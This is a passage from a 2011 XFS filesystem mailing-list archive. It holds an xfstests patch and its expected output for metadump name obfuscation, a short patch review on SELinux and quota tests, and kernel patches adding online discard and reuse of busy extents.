a dup of 'abcde' > +create_file 'Qbce\346' # essentially a dup of 'abcde' > +create_file 'abb\344e' # essentially a dup of 'abcde' > + > +# The orphanage directory (lost+found) should not be obfuscated. > +# Files thereunder can be, but not if their name is the same as > +# their inode number. Test this. > + > +cd "${SCRATCH_MNT}" > +mkdir -p "${ORPHANAGE}" > + > +TEMP_ORPHAN=3D"${ORPHANAGE}/__orphan__" > +NON_ORPHAN=3D"${ORPHANAGE}/__should_be_obfuscated__" > + > +# Create an orphan, whose name is the same as its inode number > +touch "${TEMP_ORPHAN}" > +INUM=3D$(ls -i "${TEMP_ORPHAN}" | awk '{ print $1; }') > +ORPHAN=3D"${SCRATCH_MNT}/lost+found/${INUM}" > +mv "${TEMP_ORPHAN}" "${ORPHAN}" > + > +# Create non-orphan, which *should* be obfuscated > +touch "${NON_ORPHAN}" > + > +# Get a listing of all the files before obfuscation > +ls -R > +ls -R | od -c > + > +# Now unmount the filesystem and create a metadump file > +cd /; sync; sync # Old school > + > +_scratch_unmount > + > +xfs_metadump -f "${SCRATCH_DEV}" "${METADUMP_FILE}" > + > +# Now restore the obfuscated one back and take a look around > +xfs_mdrestore "${METADUMP_FILE}" "${SCRATCH_DEV}" > + > +_scratch_mount > + > +# Get a listing of all the files after obfuscation > +cd "${SCRATCH_MNT}" > +ls -R > +ls -R | od -c > + > +# Finally, re-make the filesystem since to ensure we don't > +# leave a directory with duplicate entries lying around. > +cd / > +_scratch_unmount > +_scratch_mkfs >/dev/null 2>&1 > + > +# all done > +status=3D0 > +exit > Index: b/253.out > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- /dev/null > +++ b/253.out > @@ -0,0 +1,145 @@ > +QA output created by 253 > +.: > +lost+found > +test_253 > + > +./lost+found: > +201326721 > +__should_be_obfuscated__ > + > +./test_253: > +=01bcdc > +!bcda > +1bcd` > +Abcdg > +Pbcde > +Qbcdf > +Qbce=C3=A6 > +R=C3=93=C2=AFNE > +a=01=C2=83de > +a.=C3=A3de > +ab=01=C3=A4e > +abb=C3=A4e > +abcd=06 > +abcd) > +abcde > +abcdefghijklmnopqrstuvwxyz > +abc=C2=80e > +abe=C2=AFe > +ac=C2=AFde > +f > +foo > +gh > +ijk > +lmno > +longer_directory_name > +pqrstu > +qbcdd > + > +./test_253/foo: > +longer_file_name_1 > +longer_file_name_2 > +longer_file_name_3 > + > +./test_253/longer_directory_name: > +f1 > +f2 > +f3 > +0000000 . : \n l o s t + f o u n d \n t e > +0000020 s t _ 2 5 3 \n \n . / l o s t + f > +0000040 o u n d : \n 2 0 1 3 2 6 7 2 1 \n > +0000060 _ _ s h o u l d _ b e _ o b f u > +0000100 s c a t e d _ _ \n \n . / t e s t > +0000120 _ 2 5 3 : \n 001 b c d c \n ! b c d > +0000140 a \n 1 b c d ` \n A b c d g \n P b > +0000160 c d e \n Q b c d f \n Q b c e 346 \n > +0000200 R 323 257 N E \n a 001 203 d e \n a . 343 d > +0000220 e \n a b 001 344 e \n a b b 344 e \n a b > +0000240 c d 006 \n a b c d ) \n a b c d e \n > +0000260 a b c d e f g h i j k l m n o p > +0000300 q r s t u v w x y z \n a b c 200 e > +0000320 \n a b e 257 e \n a c 257 d e \n f \n f > +0000340 o o \n g h \n i j k \n l m n o \n l > +0000360 o n g e r _ d i r e c t o r y _ > +0000400 n a m e \n p q r s t u \n q b c d > +0000420 d \n \n . / t e s t _ 2 5 3 / f o > +0000440 o : \n l o n g e r _ f i l e _ n > +0000460 a m e _ 1 \n l o n g e r _ f i l > +0000500 e _ n a m e _ 2 \n l o n g e r _ > +0000520 f i l e _ n a m e _ 3 \n \n . / t > +0000540 e s t _ 2 5 3 / l o n g e r _ d > +0000560 i r e c t o r y _ n a m e : \n f > +0000600 1 \n f 2 \n f 3 \n > +0000610 > +.: > +lost+found > +nGp=04^`%, > + > +./lost+found: > +201326721 > +P4cqsw77yv8UsYbcCa-=0B=19!i7 > + > +./nGp=04^`%,: > +=01=01=C2=83dc > +=01.=C3=A3dc > +=01b=01=C3=A4c > +=01b.=C3=A4c > +=01bb=01=C3=A3 > +=01bcdc > +=01bce=C3=A3 > +=01bd.=C3=A3 > +=01=C3=A2cd` > +=03R.=C3=8E@ > +=11bcd=01 > +=11bcd. > +!bcda > +Abcdg > +Abce=C3=A7 > +R_KspN6ry7jG8CU4bonN2=08ovd=14 > +aujzfJamyN3xYjal=01:X=18| > +f > +foo > +gh > +ijk > +lmno > +z=01rst" > +=C2=81bcdk > +=C2=81bce=C3=AB > +=C3=81bcdo > +=C3=81bce=C3=AF > + > +./nGp=04^`%,/aujzfJamyN3xYjal=01:X=18|: > +f1 > +f2 > +f3 > + > +./nGp=04^`%,/foo: > +UROC0Bh9cHwp-=08q=19I{ > +dFXYpeUryNGb0 =15=16a7 > +hBh8n-B-XqcrW=0D{-KY > +0000000 . : \n l o s t + f o u n d \n n G > +0000020 p 004 ^ ` % , \n \n . / l o s t + f > +0000040 o u n d : \n 2 0 1 3 2 6 7 2 1 \n > +0000060 P 4 c q s w 7 7 y v 8 U s Y b c > +0000100 C a - \v 031 ! i 7 \n \n . / n G p 004 > +0000120 ^ ` % , : \n 001 001 203 d c \n 001 . 343 d > +0000140 c \n 001 b 001 344 c \n 001 b . 344 c \n 001 b > +0000160 b 001 343 \n 001 b c d c \n 001 b c e 343 \n > +0000200 001 b d . 343 \n 001 342 c d ` \n 003 R . 316 > +0000220 @ \n 021 b c d 001 \n 021 b c d . \n ! b > +0000240 c d a \n A b c d g \n A b c e 347 \n > +0000260 R _ K s p N 6 r y 7 j G 8 C U 4 > +0000300 b o n N 2 \b o v d 024 \n a u j z f > +0000320 J a m y N 3 x Y j a l 001 : X 030 | > +0000340 \n f \n f o o \n g h \n i j k \n l m > +0000360 n o \n z 001 r s t " \n 201 b c d k \n > +0000400 201 b c e 353 \n 301 b c d o \n 301 b c e > +0000420 357 \n \n . / n G p 004 ^ ` % , / a u > +0000440 j z f J a m y N 3 x Y j a l 001 : > +0000460 X 030 | : \n f 1 \n f 2 \n f 3 \n \n . > +0000500 / n G p 004 ^ ` % , / f o o : \n U > +0000520 R O C 0 B h 9 c H w p - \b q 031 I > +0000540 { \n d F X Y p e U r y N G b 0 \t > +0000560 025 026 a 7 \n h B h 8 n - B - X q c > +0000600 r W \r { - K Y \n > +0000610 > Index: b/group > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > --- a/group > +++ b/group > @@ -366,3 +366,4 @@ deprecated > 250 auto quick rw prealloc metadata > 251 ioctl trim > 252 auto quick prealloc > +253 auto quick group >=20 >=20 > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From aelder@sgi.com Tue Mar 22 14:27:26 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MJRKTa045569 for ; Tue, 22 Mar 2011 14:27:26 -0500 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 482E5AC010 for ; Tue, 22 Mar 2011 12:30:15 -0700 (PDT) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 22 Mar 2011 14:30:08 -0500 Subject: Re: [PATCH] xfstests: ensure selinux xattrs don't interfere with quota tests From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: xfs-oss In-Reply-To: <4D83B2D0.1030607@redhat.com> References: <4D83B2D0.1030607@redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 22 Mar 2011 14:30:07 -0500 Message-ID: <1300822207.2875.23.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 22 Mar 2011 19:30:08.0292 (UTC) FILETIME=[8DA7EE40:01CBE8C7] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 2011-03-18 at 14:30 -0500, Eric Sandeen wrote: > 219 and 235 were failing on ext3 with selinux, because the extra > xattrs upped the quota usage. > > Do the same trick we've used in the past to mount with an selinux > global context when doing quota tests. > > Note the gross hack for remount,ro, though. > > Signed-off-by: Eric Sandeen > --- My only suggestion would be to define the value of the security context using a variable, so it's easier to see that the thing you're editing out of /etc/mtab is identical to the thing that was supplied as a mount option. I.e., define MOUNT_CONTEXT="system_u:object_r:nfs_t:s0" and use it in the two spots elsewhere. But even if you don't take that suggestion this looks good to me. Reviewed-by: Alex Elder From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.9 required=5.0 tests=BAYES_00,LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MJwcqu046887 for ; Tue, 22 Mar 2011 14:58:49 -0500 X-ASG-Debug-ID: 1300824098-4c3f02190000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CE3D1159C014 for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id ByCEbjGT7At98hzI for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lq-0000sO-21 for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:38 +0000 Message-Id: <20110322200138.024991786@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:55 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 5/6] xfs: add online discard support Subject: [PATCH 5/6] xfs: add online discard support References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-add-online-discard-support X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824098 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Now that we have reliably tracking of deleted extents in a transaction we can easily implement "online" discard support which calls blkdev_issue_discard once a transaction commits. The actual discard is a two stage operation as we first have to mark the busy extent as not available for reuse before we can start the actual discard. Note that we don't bother supporting discard for the non-delaylog mode. While that would be possible with this patch performance is awfull, and the optimization in the next patch won't work as easily. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_super.c 2011-03-21 14:51:40.806473979 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_super.c 2011-03-21 14:51:41.437974814 +0100 @@ -112,6 +112,8 @@ mempool_t *xfs_ioend_pool; #define MNTOPT_QUOTANOENF "qnoenforce" /* same as uqnoenforce */ #define MNTOPT_DELAYLOG "delaylog" /* Delayed loging enabled */ #define MNTOPT_NODELAYLOG "nodelaylog" /* Delayed loging disabled */ +#define MNTOPT_DISCARD "discard" /* Discard unused blocks */ +#define MNTOPT_NODISCARD "nodiscard" /* Do not discard unused blocks */ /* * Table driven mount option parser. @@ -356,6 +358,10 @@ xfs_parseargs( mp->m_flags |= XFS_MOUNT_DELAYLOG; } else if (!strcmp(this_char, MNTOPT_NODELAYLOG)) { mp->m_flags &= ~XFS_MOUNT_DELAYLOG; + } else if (!strcmp(this_char, MNTOPT_DISCARD)) { + mp->m_flags |= XFS_MOUNT_DISCARD; + } else if (!strcmp(this_char, MNTOPT_NODISCARD)) { + mp->m_flags &= ~XFS_MOUNT_DISCARD; } else if (!strcmp(this_char, "ihashsize")) { xfs_warn(mp, "ihashsize no longer used, option is deprecated."); @@ -489,6 +495,7 @@ xfs_showargs( { XFS_MOUNT_FILESTREAMS, "," MNTOPT_FILESTREAM }, { XFS_MOUNT_GRPID, "," MNTOPT_GRPID }, { XFS_MOUNT_DELAYLOG, "," MNTOPT_DELAYLOG }, + { XFS_MOUNT_DISCARD, "," MNTOPT_DISCARD }, { 0, NULL } }; static struct proc_xfs_info xfs_info_unset[] = { Index: xfs/fs/xfs/xfs_mount.h =================================================================== --- xfs.orig/fs/xfs/xfs_mount.h 2011-03-21 14:47:03.630474095 +0100 +++ xfs/fs/xfs/xfs_mount.h 2011-03-21 14:51:41.437974814 +0100 @@ -227,6 +227,7 @@ typedef struct xfs_mount { #define XFS_MOUNT_FS_SHUTDOWN (1ULL << 4) /* atomic stop of all filesystem operations, typically for disk errors in metadata */ +#define XFS_MOUNT_DISCARD (1ULL << 5) /* discard unused blocks */ #define XFS_MOUNT_RETERR (1ULL << 6) /* return alignment errors to user */ #define XFS_MOUNT_NOALIGN (1ULL << 7) /* turn off stripe alignment Index: xfs/fs/xfs/xfs_log_cil.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_cil.c 2011-03-21 14:47:03.638475274 +0100 +++ xfs/fs/xfs/xfs_log_cil.c 2011-03-21 14:51:41.441975564 +0100 @@ -29,6 +29,7 @@ #include "xfs_mount.h" #include "xfs_error.h" #include "xfs_alloc.h" +#include "xfs_discard.h" /* * Perform initial CIL structure initialisation. If the CIL is not @@ -361,13 +362,17 @@ xlog_cil_committed( int abort) { struct xfs_cil_ctx *ctx = args; + struct xfs_mount *mp = ctx->cil->xc_log->l_mp; struct xfs_busy_extent *busyp, *n; xfs_trans_committed_bulk(ctx->cil->xc_log->l_ailp, ctx->lv_chain, ctx->start_lsn, abort); - list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) - xfs_alloc_busy_clear(ctx->cil->xc_log->l_mp, busyp); + list_for_each_entry_safe(busyp, n, &ctx->busy_extents, list) { + if (!abort) + xfs_discard_extent(mp, busyp); + xfs_alloc_busy_clear(mp, busyp); + } spin_lock(&ctx->cil->xc_cil_lock); list_del(&ctx->committing); Index: xfs/fs/xfs/linux-2.6/xfs_discard.c =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.c 2011-03-21 14:47:03.614474345 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_discard.c 2011-03-21 14:51:41.449976366 +0100 @@ -191,3 +191,38 @@ xfs_ioc_trim( return -XFS_ERROR(EFAULT); return 0; } + +int +xfs_discard_extent( + struct xfs_mount *mp, + struct xfs_busy_extent *busyp) +{ + struct xfs_perag *pag; + int error = 0; + xfs_daddr_t bno; + int64_t len; + bool done = false; + + if ((mp->m_flags & XFS_MOUNT_DISCARD) == 0) + return 0; + + bno = XFS_AGB_TO_DADDR(mp, busyp->agno, busyp->bno); + len = XFS_FSB_TO_BB(mp, busyp->length); + + pag = xfs_perag_get(mp, busyp->agno); + spin_lock(&pag->pagb_lock); + if (!busyp->length) + done = true; + busyp->flags = XFS_ALLOC_BUSY_DISCARDED; + spin_unlock(&pag->pagb_lock); + xfs_perag_put(pag); + + if (done) + return 0; + + error = -blkdev_issue_discard(mp->m_ddev_targp->bt_bdev, bno, len, + GFP_NOFS, 0); + if (error && error != EOPNOTSUPP) + xfs_info(mp, "discard failed, error %d", error); + return error; +} Index: xfs/fs/xfs/linux-2.6/xfs_discard.h =================================================================== --- xfs.orig/fs/xfs/linux-2.6/xfs_discard.h 2011-03-21 14:47:03.622475346 +0100 +++ xfs/fs/xfs/linux-2.6/xfs_discard.h 2011-03-21 14:51:41.453973708 +0100 @@ -2,7 +2,11 @@ #define XFS_DISCARD_H 1 struct fstrim_range; +struct xfs_busy_extent; extern int xfs_ioc_trim(struct xfs_mount *, struct fstrim_range __user *); +extern int xfs_discard_extent(struct xfs_mount *, + struct xfs_busy_extent *); + #endif /* XFS_DISCARD_H */ Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-21 14:49:21.941981228 +0100 +++ xfs/fs/xfs/xfs_ag.h 2011-03-21 14:51:41.457976522 +0100 @@ -189,6 +189,7 @@ struct xfs_busy_extent { xfs_extlen_t length; unsigned int flags; #define XFS_ALLOC_BUSY_USERDATA 0x01 /* freed data extents */ +#define XFS_ALLOC_BUSY_DISCARDED 0x02 /* can't be reused */ }; /* Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-21 14:51:31.746155282 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:51:41.457976522 +0100 @@ -2586,6 +2586,9 @@ xfs_alloc_busy_try_reuse( xfs_agblock_t bbno = busyp->bno; xfs_agblock_t bend = bbno + busyp->length; + if (busyp->flags & XFS_ALLOC_BUSY_DISCARDED) + return -1; + if (bbno < fbno && bend > fend) { /* * Case 1: @@ -2778,8 +2781,9 @@ restart: continue; } - if (!args->userdata || - (busyp->flags & XFS_ALLOC_BUSY_USERDATA)) { + if (!(busyp->flags & XFS_ALLOC_BUSY_DISCARDED) && + (!args->userdata || + (busyp->flags & XFS_ALLOC_BUSY_USERDATA))) { int overlap; overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, From BATV+edf2b39a3bdd6c185cb6+2767+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 22 14:58:49 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_44,J_CHICKENPOX_45,J_CHICKENPOX_48,J_CHICKENPOX_64 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2MJwc2v046886 for ; Tue, 22 Mar 2011 14:58:49 -0500 X-ASG-Debug-ID: 1300824098-446e028c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A2A40159C012 for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id YoL9Ldhb2f2AKAJ6 for ; Tue, 22 Mar 2011 13:01:38 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q27lp-0000rs-S2 for xfs@oss.sgi.com; Tue, 22 Mar 2011 20:01:37 +0000 Message-Id: <20110322200137.837735220@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Tue, 22 Mar 2011 15:55:54 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/6] xfs: allow reusing busy extents where safe Subject: [PATCH 4/6] xfs: allow reusing busy extents where safe References: <20110322195550.260682574@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-simplify-user-allocations X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300824098 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Allow reusing any busy extent for metadata allocations, and reusing busy userdata extents for userdata allocations. Most of the complexity is propagating the userdata information from the XFS_BMAPI_METADATA flag to xfs_bunmapi into the low-level extent freeing routines. After that we can just track what type of busy extent we have and treat it accordingly. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-21 14:49:14.000000000 +0100 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-21 14:51:31.746155282 +0100 @@ -1396,7 +1396,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { - xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1); + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1, + args->userdata); if (args->userdata) { xfs_buf_t *bp; @@ -2431,7 +2432,8 @@ int /* error */ xfs_free_extent( xfs_trans_t *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len) /* length of extent */ + xfs_extlen_t len, + bool userdata)/* length of extent */ { xfs_alloc_arg_t args; int error; @@ -2444,6 +2446,7 @@ xfs_free_extent( ASSERT(args.agno < args.mp->m_sb.sb_agcount); args.agbno = XFS_FSB_TO_AGBNO(args.mp, bno); args.pag = xfs_perag_get(args.mp, args.agno); + args.userdata = userdata; if ((error = xfs_alloc_fix_freelist(&args, XFS_ALLOC_FLAG_FREEING))) goto error0; #ifdef DEBUG @@ -2453,7 +2456,7 @@ xfs_free_extent( #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); if (error) - xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len, userdata); error0: xfs_perag_put(args.pag); return error; @@ -2464,7 +2467,8 @@ xfs_alloc_busy_insert( struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t bno, - xfs_extlen_t len) + xfs_extlen_t len, + bool userdata) { struct xfs_busy_extent *new; struct xfs_busy_extent *busyp; @@ -2487,6 +2491,7 @@ xfs_alloc_busy_insert( new->agno = agno; new->bno = bno; new->length = len; + new->flags = userdata ? XFS_ALLOC_BUSY_USERDATA : 0; INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ @@ -2688,7 +2693,8 @@ xfs_alloc_busy_reuse( struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t fbno, - xfs_extlen_t flen) + xfs_extlen_t flen, + bool userdata) { struct xfs_perag *pag; struct rb_node *rbp; @@ -2717,7 +2723,7 @@ restart: overlap = xfs_alloc_busy_try_reuse(pag, busyp, fbno, fbno + flen); - if (overlap) { + if (overlap == -1 || (overlap && userdata)) { spin_unlock(&pag->pagb_lock); xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); goto restart; @@ -2754,6 +2760,7 @@ xfs_alloc_busy_trim( ASSERT(flen > 0); +restart: spin_lock(&args->pag->pagb_lock); rbp = args->pag->pagb_tree.rb_node; while (rbp && flen >= args->minlen) { @@ -2771,6 +2778,31 @@ xfs_alloc_busy_trim( continue; } + if (!args->userdata || + (busyp->flags & XFS_ALLOC_BUSY_USERDATA)) { + int overlap; + + overlap = xfs_alloc_busy_try_reuse(args->pag, busyp, + fbno, fbno + flen); + if (unlikely(overlap == -1)) { + spin_unlock(&args->pag->pagb_lock); + xfs_log_force(args->mp, XFS_LOG_SYNC); + goto restart; + } + + /* + * No more busy extents to search. + */ + if (bbno <= fbno && bend >= fend) + goto out; + + if (fbno < bbno) + rbp = rbp->rb_left; + else + rbp = rbp->rb_right; + continue; + } + if (bbno <= fbno) { /* start overlap */ @@ -2898,8 +2930,8 @@ xfs_alloc_busy_trim( flen = fend - fbno; } +out: spin_unlock(&args->pag->pagb_lock); - *rbno = fbno; *rlen = flen; return; Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-21 14:49:21.933973842 +0100 @@ -137,7 +137,7 @@ xfs_alloc_longest_free_extent(struct xfs #ifdef __KERNEL__ void xfs_alloc_busy_insert(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t bno, xfs_extlen_t len); + xfs_agblock_t bno, xfs_extlen_t len, bool userdata); void xfs_alloc_busy_clear(struct xfs_mount *mp, struct xfs_busy_extent *busyp); @@ -148,7 +148,7 @@ xfs_alloc_busy_search(struct xfs_mount * void xfs_alloc_busy_reuse(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t fbno, xfs_extlen_t flen); + xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata); #endif /* __KERNEL__ */ /* @@ -224,7 +224,8 @@ int /* error */ xfs_free_extent( struct xfs_trans *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len); /* length of extent */ + xfs_extlen_t len, + bool userdata);/* length of extent */ int /* error */ xfs_alloc_lookup_le( Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-21 14:49:21.937977488 +0100 @@ -95,7 +95,7 @@ xfs_allocbt_alloc_block( return 0; } - xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1); + xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1, false); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); @@ -120,18 +120,8 @@ xfs_allocbt_free_block( if (error) return error; - /* - * Since blocks move to the free list without the coordination used in - * xfs_bmap_finish, we can't allow block to be available for - * reallocation and non-transaction writing (user data) until we know - * that the transaction that moved it to the free list is permanently - * on disk. We track the blocks by declaring these blocks as "busy"; - * the busy list is maintained on a per-ag basis and each transaction - * records which entries should be removed when the iclog commits to - * disk. If a busy block is allocated, the iclog is pushed up to the - * LSN that freed the block. - */ - xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1); + xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, + 1, false); xfs_trans_agbtree_delta(cur->bc_tp, -1); return 0; } Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-21 14:48:04.000000000 +0100 +++ xfs/fs/xfs/xfs_ag.h 2011-03-21 14:49:21.941981228 +0100 @@ -187,6 +187,8 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; + unsigned int flags; +#define XFS_ALLOC_BUSY_USERDATA 0x01 /* freed data extents */ }; /* Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2011-03-21 14:48:04.238474593 +0100 +++ xfs/fs/xfs/xfs_bmap.c 2011-03-21 14:49:21.949973870 +0100 @@ -180,22 +180,6 @@ xfs_bmap_btree_to_extents( int whichfork); /* data or attr fork */ /* - * Called by xfs_bmapi to update file extent records and the btree - * after removing space (or undoing a delayed allocation). - */ -STATIC int /* error */ -xfs_bmap_del_extent( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_trans_t *tp, /* current trans pointer */ - xfs_extnum_t idx, /* extent number to update/insert */ - xfs_bmap_free_t *flist, /* list of extents to be freed */ - xfs_btree_cur_t *cur, /* if null, not a btree */ - xfs_bmbt_irec_t *new, /* new data to add to file extents */ - int *logflagsp,/* inode logging flags */ - int whichfork, /* data or attr fork */ - int rsvd); /* OK to allocate reserved blocks */ - -/* * Remove the entry "free" from the free item list. Prev points to the * previous entry, unless "free" is the head of the list. */ @@ -2811,7 +2795,7 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(cbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, 0); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -2838,8 +2822,7 @@ xfs_bmap_del_extent( xfs_btree_cur_t *cur, /* if null, not a btree */ xfs_bmbt_irec_t *del, /* data to remove from extents */ int *logflagsp, /* inode logging flags */ - int whichfork, /* data or attr fork */ - int rsvd) /* OK to allocate reserved blocks */ + int flags) /* XFS_BMAPI_* flags */ { xfs_filblks_t da_new; /* new delay-alloc indirect blocks */ xfs_filblks_t da_old; /* old delay-alloc indirect blocks */ @@ -2849,7 +2832,6 @@ xfs_bmap_del_extent( int do_fx; 